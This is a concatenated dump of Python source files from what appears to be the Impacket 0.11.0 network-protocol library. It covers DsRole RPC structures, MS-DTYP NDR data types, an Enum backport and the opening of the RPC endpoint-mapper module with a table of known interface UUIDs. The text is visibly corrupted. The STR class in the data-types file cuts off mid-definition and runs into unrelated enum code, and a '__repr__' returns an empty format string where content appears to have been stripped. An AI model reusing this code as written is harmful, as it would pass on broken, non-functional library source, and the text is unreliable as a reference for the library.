enumItems(Enum): DsRolePrimaryDomainInfoBasic = 1 DsRoleUpgradeStatus = 2 DsRoleOperationState = 3 # 2.2.8 DSROLER_PRIMARY_DOMAIN_INFORMATION class DSROLER_PRIMARY_DOMAIN_INFORMATION(NDRUNION): commonHdr = ( ('tag', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL), ) union = { DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRolePrimaryDomainInfoBasic : ('DomainInfoBasic', DSROLER_PRIMARY_DOMAIN_INFO_BASIC), DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleUpgradeStatus : ('UpgradStatusInfo', DSROLE_UPGRADE_STATUS_INFO), DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleOperationState : ('OperationStateInfo', DSROLE_OPERATION_STATE_INFO), } class PDSROLER_PRIMARY_DOMAIN_INFORMATION(NDRPOINTER): referent = ( ('Data', DSROLER_PRIMARY_DOMAIN_INFORMATION), ) ################################################################################ # RPC CALLS ################################################################################ # 3.2.5.1 DsRolerGetPrimaryDomainInformation (Opnum 0) class DsRolerGetPrimaryDomainInformation(NDRCALL): opnum = 0 structure = ( ('InfoLevel', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL), ) class DsRolerGetPrimaryDomainInformationResponse(NDRCALL): structure = ( ('DomainInfo', PDSROLER_PRIMARY_DOMAIN_INFORMATION), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (DsRolerGetPrimaryDomainInformation, DsRolerGetPrimaryDomainInformationResponse), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hDsRolerGetPrimaryDomainInformation(dce, infoLevel): request = DsRolerGetPrimaryDomainInformation() request['InfoLevel'] = infoLevel return dce.request(request) impacket-impacket_0_11_0/impacket/dcerpc/v5/dtypes.py000066400000000000000000000347701446174712300227020ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-DTYP] Interface mini implementation # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from struct import pack, unpack from six import binary_type from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL from impacket.structure import Structure DWORD = NDRULONG BOOL = NDRULONG UCHAR = NDRUSMALL SHORT = NDRSHORT NULL = NULL class LPDWORD(NDRPOINTER): referent = ( ('Data', DWORD), ) class PSHORT(NDRPOINTER): referent = ( ('Data', SHORT), ) class PBOOL(NDRPOINTER): referent = ( ('Data', BOOL), ) class LPBYTE(NDRPOINTER): referent = ( ('Data', NDRUniConformantArray), ) PBYTE = LPBYTE # 2.2.4 BOOLEAN BOOLEAN = NDRBOOLEAN # 2.2.6 BYTE BYTE = NDRUSMALL # 2.2.7 CHAR CHAR = NDRSMALL class PCHAR(NDRPOINTER): referent = ( ('Data', CHAR), ) class WIDESTR(NDRUniFixedArray): def getDataLen(self, data, offset=0): return data.find(b'\x00\x00\x00', offset)+3-offset def __setitem__(self, key, value): if key == 'Data': try: self.fields[key] = value.encode('utf-16le') except UnicodeDecodeError: import sys self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') self.data = None # force recompute else: return NDR.__setitem__(self, key, value) def __getitem__(self, key): if key == 'Data': return self.fields[key].decode('utf-16le') else: return NDR.__getitem__(self,key) class STR(NDRSTRUCT): commonHdr = ( ('MaximumCount', ' 4) def _is_sunder(name): """Returns True if a _sunder_ name, False otherwise.""" return (name[0] == name[-1] == '_' and name[1:2] != '_' and name[-2:-1] != '_' and len(name) > 2) def _make_class_unpicklable(cls): """Make the given class un-picklable.""" def _break_on_call_reduce(self): raise TypeError('%r cannot be pickled' % self) cls.__reduce__ = _break_on_call_reduce cls.__module__ = '' class _EnumDict(dict): """Track enum member order and ensure member names are not reused. EnumMeta will use the names found in self._member_names as the enumeration member names. """ def __init__(self): super(_EnumDict, self).__init__() self._member_names = [] def __setitem__(self, key, value): """Changes anything not dundered or not a descriptor. If a descriptor is added with the same name as an enum member, the name is removed from _member_names (this may leave a hole in the numerical sequence of values). If an enum member name is used twice, an error is raised; duplicate values are not checked for. Single underscore (sunder) names are reserved. Note: in 3.x __order__ is simply discarded as a not necessary piece leftover from 2.x """ if pyver >= 3.0 and key == '__order__': return if _is_sunder(key): raise ValueError('_names_ are reserved for future Enum use') elif _is_dunder(key): pass elif key in self._member_names: # descriptor overwriting an enum? raise TypeError('Attempted to reuse key: %r' % key) elif not _is_descriptor(value): if key in self: # enum overwriting a descriptor? raise TypeError('Key already defined as: %r' % self[key]) self._member_names.append(key) super(_EnumDict, self).__setitem__(key, value) # Dummy value for Enum as EnumMeta explicitly checks for it, but of course until # EnumMeta finishes running the first time the Enum class doesn't exist. This # is also why there are checks in EnumMeta like `if Enum is not None` Enum = None class EnumMeta(type): """Metaclass for Enum""" @classmethod def __prepare__(metacls, cls, bases): return _EnumDict() def __new__(metacls, cls, bases, classdict): # an Enum class is final once enumeration items have been defined; it # cannot be mixed with other types (int, float, etc.) if it has an # inherited __new__ unless a new __new__ is defined (or the resulting # class will fail). if type(classdict) is dict: original_dict = classdict classdict = _EnumDict() for k, v in original_dict.items(): classdict[k] = v member_type, first_enum = metacls._get_mixins_(bases) #if member_type is object: # use_args = False #else: # use_args = True __new__, save_new, use_args = metacls._find_new_(classdict, member_type, first_enum) # save enum items into separate mapping so they don't get baked into # the new class members = dict((k, classdict[k]) for k in classdict._member_names) for name in classdict._member_names: del classdict[name] # py2 support for definition order __order__ = classdict.get('__order__') if __order__ is None: __order__ = classdict._member_names if pyver < 3.0: order_specified = False else: order_specified = True else: del classdict['__order__'] order_specified = True if pyver < 3.0: __order__ = __order__.replace(',', ' ').split() aliases = [name for name in members if name not in __order__] __order__ += aliases # check for illegal enum names (any others?) invalid_names = set(members) & set(['mro']) if invalid_names: raise ValueError('Invalid enum member name(s): %s' % ( ', '.join(invalid_names), )) # create our new Enum type enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict) enum_class._member_names_ = [] # names in random order enum_class._member_map_ = {} # name->value map enum_class._member_type_ = member_type # Reverse value->name map for hashable values. enum_class._value2member_map_ = {} # check for a __getnewargs__, and if not present sabotage # pickling, since it won't work anyway if (member_type is not object and member_type.__dict__.get('__getnewargs__') is None ): _make_class_unpicklable(enum_class) # instantiate them, checking for duplicates as we go # we instantiate first instead of checking for duplicates first in case # a custom __new__ is doing something funky with the values -- such as # auto-numbering ;) if __new__ is None: __new__ = enum_class.__new__ for member_name in __order__: value = members[member_name] if not isinstance(value, tuple): args = (value, ) else: args = value if member_type is tuple: # special case for tuple enums args = (args, ) # wrap it one more time if not use_args or not args: enum_member = __new__(enum_class) if not hasattr(enum_member, '_value_'): enum_member._value_ = value else: enum_member = __new__(enum_class, *args) if not hasattr(enum_member, '_value_'): enum_member._value_ = member_type(*args) value = enum_member._value_ enum_member._name_ = member_name enum_member.__objclass__ = enum_class enum_member.__init__(*args) # If another member with the same value was already defined, the # new member becomes an alias to the existing one. for name, canonical_member in enum_class._member_map_.items(): if canonical_member.value == enum_member._value_: enum_member = canonical_member break else: # Aliases don't appear in member names (only in __members__). enum_class._member_names_.append(member_name) enum_class._member_map_[member_name] = enum_member try: # This may fail if value is not hashable. We can't add the value # to the map, and by-value lookups for this value will be # linear. enum_class._value2member_map_[value] = enum_member except TypeError: pass # in Python2.x we cannot know definition order, so go with value order # unless __order__ was specified in the class definition if not order_specified: enum_class._member_names_ = [ e[0] for e in sorted( [(name, enum_class._member_map_[name]) for name in enum_class._member_names_], key=lambda t: t[1]._value_ )] # double check that repr and friends are not the mixin's or various # things break (such as pickle) if Enum is not None: setattr(enum_class, '__getnewargs__', Enum.__getnewargs__) for name in ('__repr__', '__str__', '__format__'): class_method = getattr(enum_class, name) obj_method = getattr(member_type, name, None) enum_method = getattr(first_enum, name, None) if obj_method is not None and obj_method is class_method: setattr(enum_class, name, enum_method) # method resolution and int's are not playing nice # Python's less than 2.6 use __cmp__ if pyver < 2.6: if issubclass(enum_class, int): setattr(enum_class, '__cmp__', getattr(int, '__cmp__')) elif pyver < 3.0: if issubclass(enum_class, int): for method in ( '__le__', '__lt__', '__gt__', '__ge__', '__eq__', '__ne__', '__hash__', ): setattr(enum_class, method, getattr(int, method)) # replace any other __new__ with our own (as long as Enum is not None, # anyway) -- again, this is to support pickle if Enum is not None: # if the user defined their own __new__, save it before it gets # clobbered in case they subclass later if save_new: setattr(enum_class, '__member_new__', enum_class.__dict__['__new__']) setattr(enum_class, '__new__', Enum.__dict__['__new__']) return enum_class def __call__(cls, value, names=None, module=None, type=None): """Either returns an existing member, or creates a new enum class. This method is used both when an enum class is given a value to match to an enumeration member (i.e. Color(3)) and for the functional API (i.e. Color = Enum('Color', names='red green blue')). When used for the functional API: `module`, if set, will be stored in the new class' __module__ attribute; `type`, if set, will be mixed in as the first base class. Note: if `module` is not set this routine will attempt to discover the calling module by walking the frame stack; if this is unsuccessful the resulting class will not be pickleable. """ if names is None: # simple value lookup return cls.__new__(cls, value) # otherwise, functional API: we're creating a new Enum type return cls._create_(value, names, module=module, type=type) def __contains__(cls, member): return isinstance(member, cls) and member.name in cls._member_map_ def __delattr__(cls, attr): # nicer error message when someone tries to delete an attribute # (see issue19025). if attr in cls._member_map_: raise AttributeError( "%s: cannot delete Enum member." % cls.__name__) super(EnumMeta, cls).__delattr__(attr) def __dir__(self): return (['__class__', '__doc__', '__members__', '__module__'] + self._member_names_) @property def __members__(cls): """Returns a mapping of member name->value. This mapping lists all enum members, including aliases. Note that this is a copy of the internal mapping. """ return cls._member_map_.copy() def __getattr__(cls, name): """Return the enum member matching `name` We use __getattr__ instead of descriptors or inserting into the enum class' __dict__ in order to support `name` and `value` being both properties for enum members (which live in the class' __dict__) and enum members themselves. """ if _is_dunder(name): raise AttributeError(name) try: return cls._member_map_[name] except KeyError: raise AttributeError(name) def __getitem__(cls, name): return cls._member_map_[name] def __iter__(cls): return (cls._member_map_[name] for name in cls._member_names_) def __reversed__(cls): return (cls._member_map_[name] for name in reversed(cls._member_names_)) def __len__(cls): return len(cls._member_names_) def __repr__(cls): return "" % cls.__name__ def __setattr__(cls, name, value): """Block attempts to reassign Enum members. A simple assignment to the class namespace only changes one of the several possible ways to get an Enum member from the Enum class, resulting in an inconsistent Enumeration. """ member_map = cls.__dict__.get('_member_map_', {}) if name in member_map: raise AttributeError('Cannot reassign members.') super(EnumMeta, cls).__setattr__(name, value) def _create_(cls, class_name, names=None, module=None, type=None): """Convenience method to create a new Enum class. `names` can be: * A string containing member names, separated either with spaces or commas. Values are auto-numbered from 1. * An iterable of member names. Values are auto-numbered from 1. * An iterable of (member name, value) pairs. * A mapping of member name -> value. """ metacls = cls.__class__ if type is None: bases = (cls, ) else: bases = (type, cls) classdict = metacls.__prepare__(class_name, bases) __order__ = [] # special processing needed for names? if isinstance(names, str): names = names.replace(',', ' ').split() if isinstance(names, (tuple, list)) and isinstance(names[0], str): names = [(e, i+1) for (i, e) in enumerate(names)] # Here, names is either an iterable of (name, value) or a mapping. for item in names: if isinstance(item, str): member_name, member_value = item, names[item] else: member_name, member_value = item classdict[member_name] = member_value __order__.append(member_name) # only set __order__ in classdict if name/value was not from a mapping if not isinstance(item, str): classdict['__order__'] = ' '.join(__order__) enum_class = metacls.__new__(metacls, class_name, bases, classdict) # TODO: replace the frame hack if a blessed way to know the calling # module is ever developed if module is None: try: module = _sys._getframe(2).f_globals['__name__'] except (AttributeError, ValueError): pass if module is None: _make_class_unpicklable(enum_class) else: enum_class.__module__ = module return enum_class @staticmethod def _get_mixins_(bases): """Returns the type for creating enum members, and the first inherited enum class. bases: the tuple of bases that was given to __new__ """ if not bases or Enum is None: return object, Enum # double check that we are not subclassing a class with existing # enumeration members; while we're at it, see if any other data # type has been mixed in so we can use the correct __new__ member_type = first_enum = None for base in bases: if (base is not Enum and issubclass(base, Enum) and base._member_names_): raise TypeError("Cannot extend enumerations") # base is now the last base in bases if not issubclass(base, Enum): raise TypeError("new enumerations must be created as " "`ClassName([mixin_type,] enum_type)`") # get correct mix-in type (either mix-in type of Enum subclass, or # first base if last base is Enum) if not issubclass(bases[0], Enum): member_type = bases[0] # first data type first_enum = bases[-1] # enum type else: for base in bases[0].__mro__: # most common: (IntEnum, int, Enum, object) # possible: (, , # , , # ) if issubclass(base, Enum): if first_enum is None: first_enum = base else: if member_type is None: member_type = base return member_type, first_enum if pyver < 3.0: @staticmethod def _find_new_(classdict, member_type, first_enum): """Returns the __new__ to be used for creating the enum members. classdict: the class dictionary given to __new__ member_type: the data type whose __new__ will be used by default first_enum: enumeration to check for an overriding __new__ """ # now find the correct __new__, checking to see of one was defined # by the user; also check earlier enum classes in case a __new__ was # saved as __member_new__ __new__ = classdict.get('__new__', None) if __new__: return None, True, True # __new__, save_new, use_args N__new__ = getattr(None, '__new__') O__new__ = getattr(object, '__new__') if Enum is None: E__new__ = N__new__ else: E__new__ = Enum.__dict__['__new__'] # check all possibles for __member_new__ before falling back to # __new__ for method in ('__member_new__', '__new__'): for possible in (member_type, first_enum): try: target = possible.__dict__[method] except (AttributeError, KeyError): target = getattr(possible, method, None) if target not in [ None, N__new__, O__new__, E__new__, ]: if method == '__member_new__': classdict['__new__'] = target return None, False, True if isinstance(target, staticmethod): target = target.__get__(member_type) __new__ = target break if __new__ is not None: break else: __new__ = object.__new__ # if a non-object.__new__ is used then whatever value/tuple was # assigned to the enum member name will be passed to __new__ and to the # new enum member's __init__ if __new__ is object.__new__: use_args = False else: use_args = True return __new__, False, use_args else: @staticmethod def _find_new_(classdict, member_type, first_enum): """Returns the __new__ to be used for creating the enum members. classdict: the class dictionary given to __new__ member_type: the data type whose __new__ will be used by default first_enum: enumeration to check for an overriding __new__ """ # now find the correct __new__, checking to see of one was defined # by the user; also check earlier enum classes in case a __new__ was # saved as __member_new__ __new__ = classdict.get('__new__', None) # should __new__ be saved as __member_new__ later? save_new = __new__ is not None if __new__ is None: # check all possibles for __member_new__ before falling back to # __new__ for method in ('__member_new__', '__new__'): for possible in (member_type, first_enum): target = getattr(possible, method, None) if target not in ( None, None.__new__, object.__new__, Enum.__new__, ): __new__ = target break if __new__ is not None: break else: __new__ = object.__new__ # if a non-object.__new__ is used then whatever value/tuple was # assigned to the enum member name will be passed to __new__ and to the # new enum member's __init__ if __new__ is object.__new__: use_args = False else: use_args = True return __new__, save_new, use_args ######################################################## # In order to support Python 2 and 3 with a single # codebase we have to create the Enum methods separately # and then use the `type(name, bases, dict)` method to # create the class. ######################################################## temp_enum_dict = {} temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n" def __new__(cls, value): # all enum instances are actually created during class construction # without calling this method; this method is called by the metaclass' # __call__ (i.e. Color(3) ), and by pickle if type(value) is cls: # For lookups like Color(Color.red) value = value.value #return value # by-value search for a matching enum member # see if it's in the reverse mapping (for hashable values) try: if value in cls._value2member_map_: return cls._value2member_map_[value] except TypeError: # not there, now do long search -- O(n) behavior for member in cls._member_map_.values(): if member.value == value: return member raise ValueError("%s is not a valid %s" % (value, cls.__name__)) temp_enum_dict['__new__'] = __new__ del __new__ def __repr__(self): return "<%s.%s: %r>" % ( self.__class__.__name__, self._name_, self._value_) temp_enum_dict['__repr__'] = __repr__ del __repr__ def __str__(self): return "%s.%s" % (self.__class__.__name__, self._name_) temp_enum_dict['__str__'] = __str__ del __str__ def __dir__(self): added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_'] return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior) temp_enum_dict['__dir__'] = __dir__ del __dir__ def __format__(self, format_spec): # mixed-in Enums should use the mixed-in type's __format__, otherwise # we can get strange results with the Enum name showing up instead of # the value # pure Enum branch if self._member_type_ is object: cls = str val = str(self) # mix-in branch else: cls = self._member_type_ val = self.value return cls.__format__(val, format_spec) temp_enum_dict['__format__'] = __format__ del __format__ #################################### # Python's less than 2.6 use __cmp__ if pyver < 2.6: def __cmp__(self, other): if type(other) is self.__class__: if self is other: return 0 return -1 return NotImplemented raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__cmp__'] = __cmp__ del __cmp__ else: def __le__(self, other): raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__le__'] = __le__ del __le__ def __lt__(self, other): raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__lt__'] = __lt__ del __lt__ def __ge__(self, other): raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__ge__'] = __ge__ del __ge__ def __gt__(self, other): raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__gt__'] = __gt__ del __gt__ def __eq__(self, other): if type(other) is self.__class__: return self is other return NotImplemented temp_enum_dict['__eq__'] = __eq__ del __eq__ def __ne__(self, other): if type(other) is self.__class__: return self is not other return NotImplemented temp_enum_dict['__ne__'] = __ne__ del __ne__ def __getnewargs__(self): return (self._value_, ) temp_enum_dict['__getnewargs__'] = __getnewargs__ del __getnewargs__ def __hash__(self): return hash(self._name_) temp_enum_dict['__hash__'] = __hash__ del __hash__ # _RouteClassAttributeToGetattr is used to provide access to the `name` # and `value` properties of enum members while keeping some measure of # protection from modification, while still allowing for an enumeration # to have members named `name` and `value`. This works because enumeration # members are not set directly on the enum class -- __getattr__ is # used to look them up. @_RouteClassAttributeToGetattr def name(self): return self._name_ temp_enum_dict['name'] = name del name @_RouteClassAttributeToGetattr def value(self): return self._value_ temp_enum_dict['value'] = value del value Enum = EnumMeta('Enum', (object, ), temp_enum_dict) del temp_enum_dict # Enum has now been created ########################### class IntEnum(int, Enum): """Enum where members are also (and must be) ints""" def unique(enumeration): """Class decorator that ensures only unique members exist in an enumeration.""" duplicates = [] for name, member in enumeration.__members__.items(): if name != member.name: duplicates.append((name, member.name)) if duplicates: duplicate_names = ', '.join( ["%s -> %s" % (alias, name) for (alias, name) in duplicates] ) raise ValueError('duplicate names found in %r: %s' % (enumeration, duplicate_names) ) return enumeration impacket-impacket_0_11_0/impacket/dcerpc/v5/epm.py000066400000000000000000002703271446174712300221530ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-RPCE]-C706 Interface implementation for the remote portmapper # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # import socket from struct import unpack from six import b from impacket.uuid import uuidtup_to_bin, bin_to_string from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \ NDRUniConformantArray from impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT from impacket.structure import Structure from impacket.dcerpc.v5.ndr import NULL from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket import LOG MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')) class DCERPCSessionError(DCERPCException): error_messages = {} def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) self.error_code = packet['status'] def __str__( self ): key = self.error_code if key in self.error_messages: error_msg_short = self.error_messages[key] return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short) else: return 'EPM SessionError: unknown error code: %s' % (str(self.error_code)) ################################################################################ # CONSTANTS ################################################################################ KNOWN_UUIDS = { b"\xb0\x01\x52\x97\xca\x59\xd0\x11\xa8\xd5\x00\xa0\xc9\x0d\x80\x51\x01\x00": "rpcss.dll", b"\xf1\x8f\x37\xc9\xf7\x16\xd0\x11\xa0\xb2\x00\xaa\x00\x61\x42\x6a\x01\x00": "pstorsvc.dll", b"\xd4\xa7\x72\x0d\x48\x61\xd1\x11\xb4\xaa\x00\xc0\x4f\xb6\x6e\xa0\x01\x00": "cryptsvc.dll", b"\x40\x4e\x9f\x8d\x3d\xa0\xce\x11\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00": "services.exe", b"\xc5\x86\x5a\xda\xc2\x12\x43\x49\xab\x30\x7f\x74\xa8\x13\xd8\x53\x01\x00": "regsvc.dll", b"\x29\x07\x8a\xfb\x04\x2d\x58\x46\xbe\x93\x27\xb4\xad\x55\x3f\xac\x01\x00": "lsass.exe", b"\x04\xf7\xd9\x52\xc6\xd3\x48\x47\xad\x11\x25\x50\x20\x9e\x80\xaf\x00\x00": "IMEPADSM.DLL", b"\xce\xad\x21\xc4\xb2\xa0\x0d\x48\x84\x18\x98\x44\x95\xb3\x2d\x5f\x01\x00": "SLsvc.exe", b"\x14\xb5\xfb\xd3\x3b\x0e\xcb\x11\x8f\xad\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", b"\x6f\x40\x1c\xf6\x60\xbd\x94\x41\x95\x65\xbf\xed\xd5\x25\x6f\x70\x01\x00": "p2phost.exe", b"\x72\x33\x3d\xc1\x20\xcc\x49\x44\x9b\x23\x8c\xc8\x27\x1b\x38\x85\x01\x00": "rpcrt4.dll", b"\x70\xfe\x5a\xd9\xd5\xa6\x59\x42\x82\x2e\x2c\x84\xda\x1d\xdb\x0d\x01\x00": "wininit.exe", b"\x6a\x07\x2d\x55\x29\xcb\x44\x4e\x8b\x6a\xd1\x5e\x59\xe2\xc0\xaf\x01\x00": "iphlpsvc.dll", b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9d\x01\x00": "wwansvc.dll", b"\x43\x9a\x89\x11\x68\x2b\x76\x4a\x92\xe3\xa3\xd6\xad\x8c\x26\xce\x01\x00": "lsm.exe", b"\xb4\x33\x6f\x26\xc1\xc7\xd1\x4b\x8f\x52\xdd\xb8\xf2\x21\x4e\xa9\x01\x00": "wlansvc.dll", b"\x68\x9d\xcb\x2a\x34\xb4\x3e\x4b\xb9\x66\xe0\x6b\x4b\x3a\x84\xcb\x01\x00": "bthserv.dll", b"\xd0\x4c\x67\x57\x00\x52\xce\x11\xa8\x97\x08\x00\x2b\x2e\x9c\x6d\x01\x00": "llssrv.exe", b"\x52\x44\x7d\x64\x33\x9f\x18\x4a\xb2\xbe\xc5\xc0\xe9\x20\xe9\x4e\x01\x00": "pla.dll", b"\xc8\x9b\x3b\xde\xf7\xbe\x78\x45\xa0\xde\xf0\x89\x04\x84\x42\xdb\x01\x00": "audiodg.exe", b"\xd1\x51\xa9\xbf\x0e\x2f\xd3\x11\xbf\xd1\x00\xc0\x4f\xa3\x49\x0a\x01\x00": "aqueue.dll", b"\x84\x55\x66\x1e\xfe\x40\x50\x44\x8f\x6e\x80\x23\x62\x39\x96\x94\x01\x00": "lsm.exe", b"\x41\x76\x17\xaa\x9b\xfc\xbd\x41\x80\xff\xf9\x64\xa7\x01\x59\x6f\x01\x00": "tssdis.exe", b"\xe0\x0c\x6b\x90\x0b\xc7\x67\x10\xb3\x17\x00\xdd\x01\x06\x62\xda\x01\x00": "msdtcprx.dll", b"\x51\xb9\x6b\xfd\x30\xc8\x34\x47\xbf\x2c\x18\xba\x6e\xc7\xab\x49\x01\x00": "iscsiexe.dll", b"\x68\xff\x1d\x62\x39\x3c\x6c\x4c\xaa\xe3\xe6\x8e\x2c\x65\x03\xad\x01\x00": "wzcsvc.dll", b"\x56\xcc\x35\x94\x9c\x1d\x24\x49\xac\x7d\xb6\x0a\x2c\x35\x20\xe1\x01\x00": "sppsvc.exe", b"\xf0\xe4\x9c\x36\xdc\x0f\xd3\x11\xbd\xe8\x00\xc0\x4f\x8e\xee\x78\x01\x00": "profmap.dll", b"\x6a\x28\x19\x39\x0c\xb1\xd0\x11\x9b\xa8\x00\xc0\x4f\xd9\x2e\xf5\x00\x00": "lsasrv.dll", b"\x80\x2b\xd1\x76\x67\x34\xd3\x11\x91\xff\x00\x90\x27\x2f\x9e\xa3\x01\x00": "mqqm.dll", b"\x72\xfe\x0f\x8d\x52\xd2\xd0\x11\xbf\x8f\x00\xc0\x4f\xd9\x12\x6b\x01\x00": "cryptsvc.dll", b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x01\x00": "ismserv.exe", b"\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00": "rpcss.dll", b"\x06\x91\x01\x24\x03\xa2\x42\x46\xb8\x8d\x82\xda\xe9\x15\x89\x29\x01\x00": "authui.dll", b"\x60\xa7\xa4\x5c\xb1\xeb\xcf\x11\x86\x11\x00\xa0\x24\x54\x20\xed\x01\x00": "termsrv.dll", b"\x4d\xdd\x73\x34\x88\x2e\x06\x40\x9c\xba\x22\x57\x09\x09\xdd\x10\x05\x01": "winhttp.dll", b"\xb2\xb8\x7d\xb9\x63\x4c\xcf\x11\xbf\xf6\x08\x00\x2b\xe2\x3f\x2f\x02\x00": "clussvc.exe", b"\x95\x1f\x51\x33\x84\x5b\xcc\x4d\xb6\xcc\x3f\x4b\x21\xda\x53\xe1\x01\x00": "ubpm.dll", b"\x78\xb2\xeb\x05\x14\xe1\xc1\x4e\xa5\xa3\x09\x61\x53\xf3\x00\xe4\x01\x01": "tsgqec.dll", b"\x24\xe4\xfb\x63\x29\x20\xd1\x11\x8d\xb8\x00\xaa\x00\x4a\xbd\x5e\x01\x00": "Sens.dll", b"\x36\xa0\x67\x07\x22\x0d\xaa\x48\xba\x69\xb6\x19\x48\x0f\x38\xcb\x01\x00": "pcasvc.dll", b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x00": "netdde.exe", b"\x30\xa0\xb3\xfd\x5f\x06\xd1\x11\xbb\x9b\x00\xa0\x24\xea\x55\x25\x01\x00": "mqqm.dll", b"\x80\x7a\xdf\x77\x98\xf2\xd0\x11\x83\x58\x00\xa0\x24\xc4\x80\xa8\x01\x00": "mqdssrv.dll", b"\x03\x6d\x71\x98\xac\x89\xc7\x44\xbb\x8c\x28\x58\x24\xe5\x1c\x4a\x01\x00": "srvsvc.dll", b"\xc8\xad\x32\x4f\x52\x60\x04\x4a\x87\x01\x29\x3c\xcf\x20\x96\xf0\x01\x00": "sspisrv.dll", b"\x90\x38\xa9\x65\xb9\xfa\xa3\x43\xb2\xa5\x1e\x33\x0a\xc2\x8f\x11\x02\x00": "dnsrslvr.dll", b"\x32\xf5\x03\xc5\x3a\x44\x69\x4c\x83\x00\xcc\xd1\xfb\xdb\x38\x39\x01\x00": "MpSvc.dll", b"\x46\x9f\x3b\xc3\x88\x20\xbc\x4d\x97\xe3\x61\x25\xf1\x27\x66\x1c\x01\x00": "nlasvc.dll", b"\xa0\xb3\x02\xa0\xb7\xc9\xd1\x11\xae\x88\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "wlnotify.dll", b"\xd0\xd1\x33\x88\x5f\x96\x16\x42\xb3\xe9\xfb\xe5\x8c\xad\x31\x00\x01\x00": "SCardSvr.dll", b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a\x01\x00": "wkssvc.dll", b"\x38\x8d\x04\x7e\x08\xac\xf1\x4f\x8e\x6b\xf3\x5d\xba\xb8\x8d\x4a\x01\x00": "mqqm.dll", b"\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2\x04\x00": "ntdsai.dll", b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x00\x00": "sfmsvc.exe", b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd6\x01\x00": "dhcpcsvc6.dll", b"\x36\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", b"\x54\x79\x26\x3d\xb7\xee\xd1\x11\xb9\x4e\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", b"\xbf\x09\x11\x81\xe1\xa4\xd1\x11\xab\x54\x00\xa0\xc9\x1e\x9b\x45\x01\x00": "WINS.EXE", b"\xd0\xbb\xf5\x7a\x63\x60\xd1\x11\xae\x2a\x00\x80\xc7\x5e\x4e\xc1\x00\x00": "irmon.dll", b"\x99\x1e\xb8\x12\x07\xf2\x4c\x4a\x85\xd3\x77\xb4\x2f\x76\xfd\x14\x01\x00": "seclogon.dll", b"\x6c\x5e\x64\x00\x9f\xfc\x0c\x4a\x98\x96\xf0\x0b\x66\x29\x77\x98\x01\x00": "icardagt.exe", b"\x9f\x2f\x5b\xb1\x3c\x90\x71\x46\x8d\xc0\x77\x2c\x54\x21\x40\x68\x01\x00": "pwmig.dll", 